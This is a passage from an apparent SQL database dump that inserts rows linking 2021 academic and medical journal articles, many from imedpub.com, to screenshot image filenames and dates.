1'),(1637,3916,4,0,'https://www.imedpub.com/articles/the-impact-of-physical-exercise-on-brain-health-and-physiology-of-depressed-individuals.pdf','1637-comm-sct.JPG',0,7,'2021-09-21'),(1638,3850,4,0,'https://obesity.imedpub.com/longterm-maintenance-of-weight-loss-following-removal-of-intragastric-balloon-a-brief-communication.pdf','1638-comm-sct.JPG',0,7,'2021-09-21'),(1639,3837,4,0,'http://rc.rcjournal.com/content/65/Suppl_10/3441516','1639-comm-sct.JPG',0,7,'2021-09-21'),(1640,3826,4,0,'https://www.rcvmonline.com/temp/ResCardiovascMed9252-3220993_085649.pdf','1640-comm-sct.JPG',0,7,'2021-09-21'),(1641,3795,4,0,'https://www.imedpub.com/articles/a-novel-approach-in-automated-bengali-text-summarizing-by-statistical-and-sentence-similarity-method.pdf','1641-comm-sct.JPG',0,7,'2021-09-21'),(1642,3757,4,0,'https://herbal-medicine.imedpub.com/the-chemical-components-and-pharmacological-functions-of-strobilanthes-cusia-nees-kuntze.pdf','1642-comm-sct.JPG',0,7,'2021-09-21'),(1643,3743,4,0,'https://www.imedpub.com/articles/a-case-of-emphysematous-cystitis-with-bone-metastasis-infiltrating-fromhepatocellular-carcinoma-case-report-and-literature-review.pdf','1643-comm-sct.JPG',0,7,'2021-09-21'),(1644,3734,4,0,'https://www.imedpub.com/articles/capsule-based-aerosol-generationtest-article-conservation-during-the-conductof-in-vivo-lead-optimization-respiratory-safety-assess.pdf','1644-comm-sct.JPG',0,7,'2021-09-21'),(1645,3681,4,0,'https://www.hsj.gr/medicine/prevalence-determinants-and-prevention-of-type-2-diabetes-mellitus-t2dm-in-arabic-countries-a-systematic-review-study.pdf','1645-comm-sct.JPG',0,7,'2021-09-21'),(1646,3650,4,0,'https://www.hsj.gr/medicine/a-success-story-how-botswana-is-winning-the-war-against-coronavirus.pdf','1646-comm-sct.JPG',0,7,'2021-09-21'),(1647,3655,4,0,'https://www.imedpub.com/articles/predicting-the-performance-of-primary-school-students.pdf','1647-comm-sct.JPG',0,7,'2021-09-21'),(1648,3633,4,0,'https://interventional-radiology.imedpub.com/vaping-and-acute-respiratory-distress-syndrome-in-interventional-radiology.pdf','1648-comm-sct.JPG',0,7,'2021-09-21'),(1649,3621,4,0,'https://www.ijsrm.in/index.php/ijsrm/article/view/2902/2156','1649-comm-sct.JPG',0,7,'2021-09-21'),(1650,3596,4,0,'https://www.ikprress.org/index.php/JOMAHR/article/view/6771','1650-comm-sct.JPG',0,7,'2021-09-21'),(1651,3569,4,0,'https://medicalphysics.imedpub.com/demographic-study-of-changing-core-body-temperature-in-categories-of-human-subjects-for-health-implication.pdf','1651-comm-sct.JPG',0,7,'2021-09-21'),(1652,3535,4,0,'https://www.imedpub.com/articles/surgical-experience-for-prosthetic-valve-infective-endocarditis.pdf','1652-comm-sct.JPG',0,7,'2021-09-21'),(1653,3523,4,0,'https://medicalphysics.imedpub.com/experimental-determination-of-linear-attenuation-coefficient-of-gamma-ray-in-zinc-foil-at-different-energies.pdf','1653-comm-sct.JPG',0,7,'2021-09-21'),(1654,3443,4,0,'https://interventional-radiology.imedpub.com/estimation-of-organ-and-effective-dose-in-multislice-ct-examination.pdf','1654-comm-sct.JPG',0,7,'2021-09-21'),(1655,3392,4,0,'https://www.internationaljournalssrg.org/IJAC/2020/Volume7-Issue1/IJAC-V7I1P108.pdf','1655-comm-sct.JPG',0,7,'2021-09-21'),(1656,3337,4,0,'https://www.hsj.gr/medicine/effects-of-orally-ingested-paprikaxanthophylls-on-respiratory-metabolismduring-endurance-exercise-study-protocolfor-an-interventio.pdf','1656-comm-sct.JPG',0,7,'2021-09-21'),(1657,3340,4,0,'https://www.imedpub.com/articles/integration-of-learning-management-system-lms-into-teaching-and-learning-a-synergy-for-improving-students-learning-outcome-in-tert.pdf','1657-comm-sct.JPG',0,7,'2021-09-21'),(1658,3329,4,0,'https://jcdr.net/articles/PDF/13770/43853_CE[Ra1]_F(SHU)_PF1(AKA_SHU)_PN(SL).pdf','1658-comm-sct.JPG',0,7,'2021-09-21'),(1659,3308,4,0,'https://www.arraypublishers.com/images/photo/5f68d04502893.pdf','1659-comm-sct.JPG',0,7,'2021-09-21'),(1660,3309,4,0,'https://clinmedjournals.org/articles/ijcc/international-journal-of-clinical-cardiology-ijcc-7-192.pdf?jid=ijcc','1660-comm-sct.JPG',0,7,'2021-09-21'),(1661,3299,4,0,'https://www.hsj.gr/medicine/the-relationship-between-nursesjob-satisfaction-and-organizationalcommitment.pdf','1661-comm-sct.JPG',0,7,'2021-09-21'),(1662,3283,4,0,'https://irispublishers.com/icbc/fulltext/new-hybrid-hetero-structure.ID.000506.php','1662-comm-sct.JPG',0,7,'2021-09-21'),(1663,3236,4,0,'https://www.sciencepubco.com/index.php/IJPT/article/view/30346','1663-comm-sct.JPG',0,7,'2021-09-21'),(1664,3203,4,0,'https://www.worldwidejournals.com/international-journal-of-scientific-research-(IJSR)/fileview/a-comparitive-study-of-efficacy-and-safety-of-intravenous-iron-sucrose-vs-intravenous-ferric-carboxy-maltose-in-correcting-iron-deficiency-anaemia-in-post-partum-period_February_2020_1580555292_9111490.pdf','1664-comm-sct.JPG',0,7,'2021-09-21'),(1665,3167,4,0,'https://www.ijser.org/researchpaper/Decision-Table-A-Procedural-Approach-to-Making-Decisions-in-Complex-Situations.pdf','1665-comm-sct.JPG',0,7,'2021-09-21'),(1666,3146,4,0,'https://www.imedpub.com/articles/successful-percutaneous-closure-of-unusually-large-rsov--two-cases.pdf','1666-comm-sct.JPG',0,7,'2021-09-21'),(1667,3120,4,0,'https://www.imedpub.com/articles/a-nobel-multivariate-index-for-cancer-risk-detection-based-on-the-serum-trace-elements-metallobalance-method.pdf','1667-comm-sct.JPG',0,7,'2021-09-21'),(1668,3082,4,0,'https://www.sciencedirect.com/science/article/abs/pii/S0022286020314071','1668-comm-sct.JPG',0,7,'2021-09-21'),(1669,3010,4,0,'https://organic-inorganic.imedpub.com/comparative-synthesis-and-cyclization-of-1-5diketone.pdf','1669-comm-sct.JPG',0,7,'2021-09-21'),(1670,3007,4,0,'https://interventional-radiology.imedpub.com/ctfluoroscopy-versus-conventional-helical-ct-guidance-for-lung-biopsies-performed-by-clinical-fellows-without-prior-training-radia.pdf','1670-comm-sct.JPG',0,7,'2021-09-21'),(1671,2974,4,0,'https://www.hsj.gr/medicine/datadriven-statistical-modeling-andanalysis-of-the-survival-times-of-multiplemyeloma-cancer.pdf','1671-comm-sct.JPG',0,7,'2021-09-21'),(1672,2981,4,0,'https://interventional-radiology.imedpub.com/magnetic-resonance-guided-high-intensity-focused-ultrasound-mrghifu-for-treating-recurrent-gynaecological-tumours-effect-of-prefoc.pdf','1672-comm-sct.JPG',0,7,'2021-09-21'),(1673,2957,4,0,'https://www.imedpub.com/articles/bilateral-torsion-of-ovarian-dermoid-cyst-in-an-18yearold-nulligravida-a-casereport.pdf','1673-comm-sct.JPG',0,7,'2021-09-21'),(1674,2946,4,0,'https://dual-diagnosis.imedpub.com/post-ictal-psychosis-in-drugresistant-epilepsy-responding-to-a-ketogenic-diet.pdf','1674-comm-sct.JPG',0,7,'2021-09-21'),(1675,2922,4,0,'https://www.hsj.gr/medicine/protein-microarray-analysis-of-solublebiomarkers-in-fertile-and-postmenopausalwomen-in-relation-to-obesity-bone-statusand-blood-ce.pdf','1675-comm-sct.JPG',0,7,'2021-09-21'),(1676,2916,4,0,'https://www.imedpub.com/articles/paraganglioma-of-the-gallbladder-an-extremely-rare-pathology.pdf','1676-comm-sct.JPG',0,7,'2021-09-21'),(1677,2884,4,0,'https://www.imedpub.com/articles/case-report-on-bullous-lichen-planus.pdf','1677-comm-sct.JPG',0,7,'2021-09-21'),(1678,2882,4,0,'https://medcraveonline.com/MOJABB/MOJABB-04-00125.pdf','1678-comm-sct.JPG',0,7,'2021-09-21'),(1679,2860,4,0,'https://obesity.imedpub.com/peating-disordersndasha-perplexing-eating-behaviorp.pdf','1679-comm-sct.JPG',0,7,'2021-09-21'),(1680,2743,4,0,'http://www.envirobiotechjournals.com/AJMBES/vol22i32020/AJ-16.pdf','1680-comm-sct.JPG',0,7,'2021-09-21'),(1681,2711,4,0,'https://herbal-medicine.imedpub.com/effectiveness-of-traditional-ksm-dressing-and-tj-honey-on-healing-acute-wounds-in-rats.pdf','1681-comm-sct.JPG',0,7,'2021-09-21'),(1682,2672,4,0,'https://www.imedpub.com/articles/systematic-review-on-spices-and-herbsused-in-food-industry.pdf','1682-comm-sct.JPG',0,7,'2021-09-21'),(1683,2634,4,0,'https://obesity.imedpub.com/food-addiction-in-patients-with-obesity.pdf','1683-comm-sct.JPG',0,7,'2021-09-21'),(1684,2631,4,0,'https://issuu.com/ijtsrd.com/docs/194_skin_lesion_classification_using_supervisedalg','1684-comm-sct.JPG',0,7,'2021-09-21'),(1685,2604,4,0,'https://psycnet.apa.org/record/2020-75864-001','1685-comm-sct.JPG',0,7,'2021-09-21'),(1686,2590,4,0,'https://herbal-medicine.imedpub.com/effect-of-phyllanthus-niruri-extract-on-low-density-lipoprotein-of-dyslipidemicwhite-rats-rattus-norvegicus.pdf','1686-comm-sct.JPG',0,7,'2021-09-21'),(1687,1185,4,0,'https://www.imedpub.com/articles/pincidental-finding-of-pulmonary-azygos-lobe-and-imaging-findings-a-case-reportp.pdf','1687-comm-sct.JPG',0,7,'2021-09-21'),(1688,732,4,0,'https://www.imedpub.com/articles/pharmacologic-treatment-of-attention-deficit-disorder-in-children-and-adolescents-executive-function-agents-stimulants-and-sympath.pdf','1688-comm-sct.JPG',0,7,'2021-09-21'),(1689,550,4,0,'https://www.hsj.gr/medicine/practice-of-road-safety-measures-among-kenyatta-university-and-united-states-international-university-students-in-nairobi-county-k.pdf','1689-comm-sct.JPG',0,7,'2021-09-21'),(1690,8865,4,0,'https://clinical-nutrition.imedpub.com/review-on-copper-deficiency.pdf','1690-comm-sct.PNG',6,7,'2021-10-20'),(1691,8886,4,0,'https://ijcrt.org/papers/IJCRT2106288.pdf','1691-comm-sct.PNG',6,7,'2021-10-20'),(1692,8909,4,0,'http://www.aascit.org/communications/paperInfo?journalId=940&paperId=7881','1692-comm-sct.PNG',6,7,'2021-10-20'),(1693,8934,4,0,'https://www.imedpub.com/articles/editorial-note-on-a-lowcost-and-scalable-carbon-coated-siobased-anode-material-for-lithium-ion-batteries.pdf','1693-comm-sct.PNG',6,7,'2021-10-20'),(1694,8931,4,0,'http://journal.hmjournals.com/index.php/JPDMHD/article/view/84','1694-comm-sct.PNG',6,7,'2021-10-20'),(1695,8987,4,0,'http://mbimph.com/index.php/AJOAIR/article/view/2416','1695-comm-sct.PNG',6,7,'2021-10-20'),(1696,9015,4,0,'https://www.researchsquare.com/article/rs-305921/v1','1696-comm-sct.PNG',6,7,'2021-10-20'),(1697,8997,4,0,'https://www.imedpub.com/articles/risk-assessment-of-mycotoxins-andpredictive-mycology-in-spices.php?aid=39149','1697-comm-sct.PNG',6,7,'2021-10-20'),(1698,9033,4,0,'https://jclinmedcasereports.com/articles/OJCMCR-1777.pdf','1698-comm-sct.PNG',6,7,'2021-10-20'),(1699,9127,4,0,'https://clinical-experimental-nephrology.imedpub.com/renal-transplantation-and-its-psychological-effects.php?aid=38550','1699-comm-sct.PNG',6,7,'2021-10-20'),(1700,9128,4,0,'https://clinical-experimental-nephrology.imedpub.com/diabetes-is-a-syndrome-rather-than-disease.pdf','1700-comm-sct.PNG',6,7,'2021-10-20'),(1701,9129,4,0,'https://clinical-experimental-nephrology.imedpub.com/death-of-cells-in-kidney.pdf','1701-comm-sct.PNG',6,7,'2021-10-20'),(1702,9161,4,0,'https://clinical-experimental-nephrology.imedpub.com/autosomal-dominant-polycystic-kidney-disease-and-its-advances.php?aid=38555','1702-comm-sct.PNG',6,7,'2021-10-20'),(1703,9162,4,0,'https://clinical-experimental-nephrology.imedpub.com/complications-of-pyelonephritis-with-chronic-renal-stone-disease.php?aid=38553','1703-comm-sct.PNG',6,7,'2021-10-20'),(1704,9179,4,0,'https://www.acanceresearch.com/cancer-research/a-case-report-on-management-of-a-patient-with-severe-trismus-with-bilateral-recurrent-pericoronitis-along-with-chronic-oral-submuc.php?aid=38763','1704-comm-sct.PNG',6,7,'2021-10-20'),(1705,9218,4,0,'https://childhood-developmental-disorders.imedpub.com/a-commentary-on-autism-spectrum-disorder-a-complex-developmental-disorder.pdf','1705-comm-sct.PNG',6,7,'2021-10-20'),(1706,9221,4,0,'https://childhood-developmental-disorders.imedpub.com/a-commentary-on-down-syndrome.pdf','1706-comm-sct.PNG',6,7,'2021-10-20'),(1707,9223,4,0,'http://www.ijnfs.org/article/153/10.11648.j.ijnfs.20211004.13','1707-comm-sct.PNG',6,7,'2021-10-20'),(1708,9214,4,0,'https://www.imedpub.com/articles/unravel-facts-and-general-aspects-about-leukaemia.pdf','1708-comm-sct.PNG',6,7,'2021-10-20'),(1709,9202,4,0,'https://interventional-radiology.imedpub.com/renal-ultrasonography-relevant-radiology.pdf','1709-comm-sct.PNG',6,7,'2021-10-20'),(1710,9215,4,0,'https://journal.chestnet.org/article/S0012-3692(19)30153-9/fulltext','1710-comm-sct.PNG',6,7,'2021-10-20'),(1711,10336,4,0,'https://researchcommons.waikato.ac.nz/handle/10289/8691','1711-comm-sct.PNG',6,7,'2021-11-27'),(1712,10319,4,0,'https://orcid.org/0000-0002-0643-3777','1712-comm-sct.PNG',6,7,'2021-11-27'),(1713,10313,4,0,'https://www.imedpub.com/articles/study-of-parkinsons-illness-and-recent-development-of-the-antidepressants-and-heterogeneous-medications.pdf','1713-comm-sct.PNG',6,7,'2021-11-27'),(1714,10278,4,0,'https://www.researchgate.net/publication/343787608_Psychological_impact_of_COVID_19_on_children_of_healthcare_workers','1714-comm-sct.PNG',6,7,'2021-11-27'),(1715,10278,4,0,'https://www.researchgate.net/publication/343787608_Psychological_impact_of_COVID_19_on_children_of_healthcare_workers','1715-comm-sct.PNG',6,7,'2021-11-27'),(1716,10272,4,0,'https://www.biorxiv.org/content/10.1101/2020.01.23.903831v1','1716-comm-sct.PNG',6,7,'2021-11-27'),(1717,10256,4,0,'https://www.imedpub.com/articles/editorial-on-skin-disease.php?aid=39646','1717-comm-sct.PNG',6,7,'2021-11-27'),(1718,10262,4,0,'https://www.imedpub.com/articles/commentary-on-urinary-tract-infection.pdf','1718-comm-sct.PNG',6,7,'2021-11-27'),(1719,10264,4,0,'https://www.imedpub.com/articles/commentary-on-covid19.pdf','1719-comm-sct.PNG',6,7,'2021-11-27'),(1720,10261,4,0,'https://www.researchgate.net/publication/354048218_USUAGE_of_MACHINE_LEARNING_ALGORITHMS_TO_DETECT_INTRUSION','1720-comm-sct.PNG',6,7,'2021-11-27'),(1721,10248,4,0,'https://www.imedpub.com/articles/shadow-of-electron-beam-for-plumbing-at-molecular-level.pdf','1721-comm-sct.PNG',6,7,'2021-11-27'),(1722,10247,4,0,'https://www.ijpba.info/ijpba/index.php/ijpba/article/view/1920','1722-comm-sct.PNG',6,7,'2021-11-27'),(1723,10232,4,0,'https://www.semanticscholar.org/paper/Quadrotor-control-for-trajectory-tracking-in-of-Araar-Aouf/1c59847185532cc29c29f45d6e55bd7556ab8764','1723-comm-sct.PNG',6,7,'2021-11-27'),(1724,10223,4,0,'https://www.imedpub.com/articles/a-neurological-aspect-of-mental-disorder-and-its-therapy-prospectus.pdf','1724-comm-sct.PNG',6,7,'2021-11-27'),(1725,10201,4,0,'https://www.imedpub.com/articles/techniques-of-radiotherapy.pdf','1725-comm-sct.PNG',6,7,'2021-11-27'),(1726,10207,4,0,'https://www.imedpub.com/articles/improvement-in-ultrasonography-for-advance-use.pdf','1726-comm-sct.PNG',6,7,'2021-11-27'),(1727,10209,4,0,'https://clinical-experimental-nephrology.imedpub.com/effects-of-hypertension-after-kidney-transplantation.php?aid=39972','1727-comm-sct.PNG',6,7,'2021-11-27'),(1728,10199,4,0,'https://www.imedpub.com/articles/recent-updates-about-lung-cancer-in-india.pdf','1728-comm-sct.PNG',6,7,'2021-11-27'),(1729,10203,4,0,'https://www.imedpub.com/articles/understanding-psychological-issues-and-cognitive-disorders-the-computational-point-of-view.pdf','1729-comm-sct.PNG',6,7,'2021-11-27'),(1730,10205,4,0,'https://www.imedpub.com/articles/a-brief-on-the-science-of-glial-cell-and-its-neurology.pdf','1730-comm-sct.PNG',6,7,'2021-11-27'),(1731,10206,4,0,'https://www.imedpub.com/articles/deep-brain-stimulation-related-with-the--pediatric-dystonia.pdf','1731-comm-sct.PNG',6,7,'2021-11-27'),(1732,10187,4,0,'https://trauma-acute-care.imedpub.com/pathophysiology-and-treatment-of-trauma.pdf','1732-comm-sct.PNG',6,7,'2021-11-27'),(1733,10162,4,0,'https://medical-case-reports.imedpub.com/abstract/epiphora-successful-response-to-systemic-steroids-rnvs-topical-steroids-40092.html','1733-comm-sct.PNG',6,7,'2021-11-27'),(1734,10169,4,0,'https://trauma-acute-care.imedpub.com/editorial-a-note-on-traumatic-experiences.php?aid=39659','1734-comm-sct.PNG',6,7,'2021-11-27'),(1735,10148,4,0,'https://childhood-developmental-disorders.imedpub.com/isopulegol-a-promising-phytochemical-with-potential-therapeutic-benefits.pdf','1735-comm-sct.PNG',6,7,'2021-11-27'),(1736,10151,4,0,'https://www.imedpub.com/articles/extraction-isolation-and-characterisation-of-bioactive-compounds.php?aid=39476','1736-comm-sct.PNG',6,7,'2021-11-27'),(1737,10159,4,0,'https://www.imedpub.com/articles/formulation-and-evaluation-of-polyherbal-gel-containing-jackfruit-banana-peel-and-aloe-vera-neem-curcumin-for-the-treatment-of-pso.pdf','1737-comm-sct.PNG',6,7,'2021-11-27'),(1738,10161,4,0,'https://meddocsonline.org/journal-of-psychiatry-and-behavioral-sciences-archive.html','1738-comm-sct.PNG',6,7,'2021-11-27'),(1739,10137,4,0,'https://childhood-developmental-disorders.imedpub.com/effectiveness-of-stem-cell-therapy-in-autism-spectrum-disorders-case-study-of-identical-twins.php?aid=39789','1739-comm-sct.PNG',6,7,'2021-11-27'),(1740,10122,4,0,'https://www.imedpub.com/articles/a-note-on-type-1-diabetes.pdf','1740-comm-sct.PNG',6,7,'2021-11-29'),(1741,10121,4,0,'https://www.imedpub.com/articles/exploring-genes-associated-with-the-sexdependent-variations-in-lung-cancer.pdf','1741-comm-sct.PNG',6,7,'2021-11-29'),(1742,10113,4,0,'https://interventional-radiology.imedpub.com/reorganization-in-the-field-of-interventional-radiology.php?aid=39998','1742-comm-sct.PNG',6,7,'2021-11-29'),(1743,10085,4,0,'https://www.imedpub.com/articles/broad-area-of-biology.pdf','1743-comm-sct.PNG',0,7,'2021-11-29'),(1744,10086,4,0,'https://www.imedpub.com/articles/improvement-of-anti-infection-agent.pdf','1744-comm-sct.PNG',0,7,'2021-11-29'),(1745,10087,4,0,'https://www.imedpub.com/articles/mixuture-of-pharmacology-and-genomics.pdf','1745-comm-sct.PNG',0,7,'2021-11-29'),(1746,10089,4,0,'https://www.imedpub.com/articles/subset-of-microbiology-applied-to-medication.pdf','1746-comm-sct.PNG',0,7,'2021-11-29'),(1747,10090,4,0,'https://www.imedpub.com/articles/antigenreactive-t-cells-and-autoantibodies.pdf','1747-comm-sct.PNG',0,7,'2021-11-29'),(1748,10091,4,0,'https://www.imedpub.com/articles/inhibition-on-metabolic-and-cardiovascular-parameters.pdf','1748-comm-sct.PNG',0,7,'2021-11-29'),(1749,10092,4,0,'https://www.imedpub.com/articles/nonpregnant-persons-with-type-2-diabetes-mellitus-pregnant-persons-with-type-2-diabetes-mellitus.pdf','1749-comm-sct.PNG',0,7,'2021-11-29'),(1750,10103,4,0,'https://www.researchgate.net/publication/355153716_Intrusion_Detection_System_-_IDS_-_Journal_-_by_Sci-Tech_with_Estif','1750-comm-sct.PNG',0,7,'2021-11-29'),(1751,10077,4,0,'https://medical-clinical-reviews.imedpub.com/pharmacotherapy-of-psychotic-symptoms-in-posttraumatic-stress-disorder.pdf','1751-comm-sct.PNG',0,7,'2021-11-29'),(1752,10066,4,0,'https://www.imedpub.com/articles/advancement-of-nanotechnology-in-pharmaceutical-industries.pdf','1752-comm-sct.PNG',0,7,'2021-11-29'),(1753,10068,4,0,'https://www.researchgate.net/publication/322226717_Biomedical_waste_management_in_India_Critical_appraisal','1753-comm-sct.PNG',0,7,'2021-11-29'),(1754,10069,4,0,'https://www.imedpub.com/articles/supportive-treatment-for-venom-poisoning.pdf','1754-comm-sct.PNG',0,7,'2021-11-29'),(1755,10070,4,0,'https://www.imedpub.com/articles/significance-of-therapeutic-drug-monitoring.pdf','1755-comm-sct.PNG',0,7,'2021-11-29'),(1756,10064,4,0,'https://www.imedpub.com/articles/a-brief-note-on-coronary-artery.pdf','1756-comm-sct.PNG',0,7,'2021-11-29'),(1757,10018,4,0,'https://www.longdom.org/open-access/the-investigate-of-betaalanine-supplement-using-for-power-output-variablesin-cyclists-a-cohort-studies-random-model-effe.pdf','1757-comm-sct.PNG',0,7,'2021-11-29'),(1758,10014,4,0,'https://www.idosi.org/abr/14(1)20/6.pdf','1758-comm-sct.PNG',0,7,'2021-11-29'),(1759,10003,4,0,'https://ijppr.humanjournals.com/wp-content/uploads/2021/11/1.Chanchal-Deep-Kaur-Tarun-kumar-Anshita-Gupta.pdf','1759-comm-sct.PNG',0,7,'2021-11-29'),(1760,10006,4,0,'https://abs.amegroups.com/article/view/6677/html','1760-comm-sct.PNG',0,7,'2021-11-29'),(1761,9994,4,0,'https://actascientific.com/ASVS/pdf/ASVS-03-0201.pdf','1761-comm-sct.PNG',0,7,'2021-11-29'),(1762,9957,4,0,'https://www.imedpub.com/articles/freeradical-ringopening-polymerization.php?aid=39189','1762-comm-sct.PNG',0,7,'2021-11-29'),(1763,9958,4,0,'https://www.imedpub.com/articles/antioxidant-and-chelating-properties-of--flavonoids.php?aid=39190','1763-comm-sct.PNG',0,7,'2021-11-29'),(1764,9941,4,0,'https://www.imedpub.com/articles/editorial-note-on-metalloid-gold-clusters.php?aid=39187','1764-comm-sct.PNG',6,7,'2021-11-29'),(1765,9923,4,0,'https://www.imedpub.com/articles/editorial-note-on-solid-state-chemistry.pdf','1765-comm-sct.PNG',0,7,'2021-11-29'),(1766,9924,4,0,'https://www.hsj.gr/medicine/comparison-of-the-analgesic-effectof-intramuscular-pethidine-andintramuscular-morphine-on-anorthopedic-population-in-a-caribbeante.php?aid=35458','1766-comm-sct.PNG',0,7,'2021-11-29'),(1767,9912,4,0,'https://organic-inorganic.imedpub.com/amines-amides-and-their-types.pdf','1767-comm-sct.PNG',0,7,'2021-11-29'),(1768,10365,4,0,'https://www.longdom.org/open-access/across-sectional-study-on-social-and-cultural-food-taboos-related-barriers-in-prevention-of-anemia-in-pregnant-women-of-.pdf','1768-comm-sct.PNG',6,7,'2021-11-30'),(1769,10385,4,0,'https://neurosurgery.imedpub.com/clinical-tasks-of-neurologists.php?aid=39842','1769-comm-sct.PNG',6,7,'2021-11-30'),(1770,10379,4,0,'https://neurosurgery.imedpub.com/a-note-on-modern-neuroscience.pdf','1770-comm-sct.PNG',6,7,'2021-11-30'),(1771,10377,4,0,'https://hospital-medical-management.imedpub.com/pcr-methods-for-quantification-of-trypanosoma-cruzi-dna-in-blood-samples-from-chagas-disease-patients.pdf','1771-comm-sct.PNG',6,7,'2021-11-30'),(1772,10417,4,0,'https://www.imedpub.com/articles/a-study-of-drug-substances-theretical-contemplations.pdf','1772-comm-sct.PNG',6,7,'2021-12-01'),(1773,10416,4,0,'https://www.imedpub.com/articles/advance-techniques-of-biotech-therapeutics-and-detail-specifications.php?aid=40002#','1773-comm-sct.PNG',6,7,'2021-12-01'),(1774,10401,4,0,'https://www.imedpub.com/articles/proteomics-introduction-and-workflow.pdf','1774-comm-sct.PNG',0,7,'2021-12-01'),(1775,10418,4,0,'https://neurosurgery.imedpub.com/a-commentary-on-craniotomy.pdf','1775-comm-sct.PNG',6,7,'2021-12-01'),(1776,10415,4,0,'https://stemcells.imedpub.com/human-dental-pulp-stem-cells-in-future-z-medicine.pdf','1776-comm-sct.PNG',0,7,'2021-12-01'),(1777,10432,4,0,'https://medicalphysics.imedpub.com/evaluation-of-mast-cell-stabilization-potential-of-euphorbia-wallichaii-hook.pdf','1777-comm-sct.PNG',6,7,'2021-12-01'),(1778,10444,4,0,'https://www.imedpub.com/articles/role-of-cyp3a4-in-drug-metabolism.pdf','1778-comm-sct.PNG',6,7,'2021-12-01'),(1779,10442,4,0,'https://www.imedpub.com/articles/an-approach-to-clinical-trials.pdf','1779-comm-sct.PNG',6,7,'2021-12-01'),(1780,10443,4,0,'https://www.imedpub.com/articles/significance-of-pharmacovigilance-in-adr.pdf','1780-comm-sct.PNG',6,7,'2021-12-01'),(1781,10441,4,0,'https://medical-case-reports.imedpub.com/a-short-commentary-on-myelodysplastic-syndrome.pdf','1781-comm-sct.PNG',6,7,'2021-12-01'),(1782,8305,4,0,'https://stroke.imedpub.com/death-rate-prognosis-in-stroke-patient-utilizing-calciferol.pdf','1782-comm-sct.PNG',6,7,'2021-12-01'),(1783,7643,4,0,'https://www.imedpub.com/articles/editorial-note-on-astro-chemistry.pdf','1783-comm-sct.PNG',0,7,'2021-12-01'),(1784,8160,4,0,'https://www.imedpub.com/articles/occlusionprinciplesinimplantsupportedprosthesez.pdf','1784-comm-sct.PNG',6,7,'2021-12-01'),(1785,7644,4,0,'https://www.imedpub.com/articles/editorial-note-on-interesting-facts-of-periodic-table.pdf','1785-comm-sct.PNG',0,7,'2021-12-01'),(1786,8712,4,0,'https://www.omicsonline.org/open-access-pdfs/16p112-deletion-syndrome-and-complex-congenital-cardiopathy.pdf','1786-comm-sct.PNG',6,7,'2021-12-01'),(1787,7646,4,0,'https://www.imedpub.com/articles/editorial-note-on-food-chemistry-of-vegetables-rich-in-antioxidants-that-help-in-avoiding-diseases.pdf','1787-comm-sct.PNG',0,7,'2021-12-01'),(1788,8463,4,0,'https://www.preprints.org/manuscript/202102.0045/v1','1788-comm-sct.PNG',6,7,'2021-12-01'),(1789,7647,4,0,'https://www.imedpub.com/articles/editorial-note-on-chemistry-of-petroleum-hydrocarbon-degrading-bacteria.pdf','1789-comm-sct.PNG',0,7,'2021-12-01'),(1790,8711,4,0,'https://www.acmicrob.com/microbiology/clinical-profile-of-bacterial-meningitis-in-children-and-comparative-interalia-analysis-of-various-microbiological-tests.php?aid=37057','1790-comm-sct.PNG',6,7,'2021-12-01'),(1791,8688,4,0,'https://www.longdom.org/open-access/strongyloides-stercoralis-infection-in-a-case-of-ankylosing-spondylitis.pdf','1791-comm-sct.PNG',6,7,'2021-12-01'),(1792,10449,4,0,'https://www.imedpub.com/articles/importance-and-distribution--of-wheat-stem-rust-empuccinia-graminisem-fspemtriticiem-in-western-and-southwestern--ethiopia.php?aid=40414','1792-comm-sct.PNG',6,7,'2021-12-01'),(1793,7303,4,0,'http://www.ijmhr.org/ijpr.9.3/IJPR.2021.121.pdf','1793-comm-sct.PNG',0,7,'2021-12-01'),(1794,8470,4,0,'https://www.longdom.org/open-access/a-casecontrol-study-of-risks-factors-for-corona-virus-covid-19-amonghealth-care-worker-64081.html','1794-comm-sct.PNG',6,7,'2021-12-01'),(1795,7337,4,0,'https://ijshr.com/IJSHR_Vol.6_Issue.1_Jan2021/IJSHR037.pdf','1795-comm-sct.PNG',0,7,'2021-12-01'),(1796,7415,4,0,'https://ijshr.com/IJSHR_Vol.6_Issue.1_Jan2021/IJSHR037.pdf','1796-comm-sct.PNG',0,7,'2021-12-01'),(1797,7433,4,0,'https://www.imedpub.com/articles/debilitated-contractility-of-the-round-striated-urethral-sphincter-muscle-may-add-to-pressure-urinary-incontinence-in-female-zucke.pdf','1797-comm-sct.PNG',0,7,'2021-12-01'),(1798,7899,4,0,'https://www.imedpub.com/articles/research-in-cancer-cells.pdf','1798-comm-sct.PNG',6,7,'2021-12-01'),(1799,8796,4,0,'https://www.jbiomeds.com/abstract/comparison-of-different-covid19-vaccines-globally-an-overview-37991.html','1799-comm-sct.PNG',6,7,'2021-12-01'),(1800,8418,4,0,'https://www.fisheriessciences.com/fisheries-aqua/effect-of-covid19-pandemic-in-fisheries-and-fisherman-of-rural-area.pdf','1800-comm-sct.PNG',6,7,'2021-12-01'),(1801,7434,4,0,'https://www.imedpub.com/articles/coronavirus-and-kidney-transplantation-an-italian-survey-and-consensus.pdf','1801-comm-sct.PNG',0,7,'2021-12-01'),(1802,8212,4,0,'https://www.aclr.com.es/clinical-research/varicella-hospitalizations-and-communityacquired-methicillinresistant-staphylococcus-aureus-seven-years-of-active-surveillance.pdf','1802-comm-sct.PNG',6,7,'2021-12-01'),(1803,7492,4,0,'http://research.fk.ui.ac.id/borangmhs/index.php/list-borang-mahasiswa1/details/2/2985','1803-comm-sct.PNG',0,7,'2021-12-01'),(1804,8211,4,0,'https://www.fisheriessciences.com/fisheries-aqua/the-major-criteria-behind-the-fish-farmingpsiciculture.pdf','1804-comm-sct.PNG',6,7,'2021-12-01'),(1805,8188,4,0,'https://www.fisheriessciences.com/fisheries-aqua/scales-dermal-structures-of-fish.pdf','1805-comm-sct.PNG',6,7,'2021-12-01'),(1806,8813,4,0,'https://arxiv.org/abs/2105.13906','1806-comm-sct.PNG',6,7,'2021-12-01'),(1807,7724,4,0,'https://www.jscimedcentral.com/GenitourinaryDisorders/genitourinarydisorders-3-1008.pdf','1807-comm-sct.PNG',0,7,'2021-12-01'),(1808,8237,4,0,'https://www.sryahwapublications.com/archives-of-cardiology-and-cardiovascular-diseases/pdf/v2-i2/4.pdf','1808-comm-sct.PNG',6,7,'2021-12-01'),(1809,8770,4,0,'https://arxiv.org/abs/2107.04125','1809-comm-sct.PNG',6,7,'2021-12-01'),(1810,7052,4,0,'https://biogenericpublishers.com/pdf/JBGSR.MS.ID.00176.pdf','1810-comm-sct.P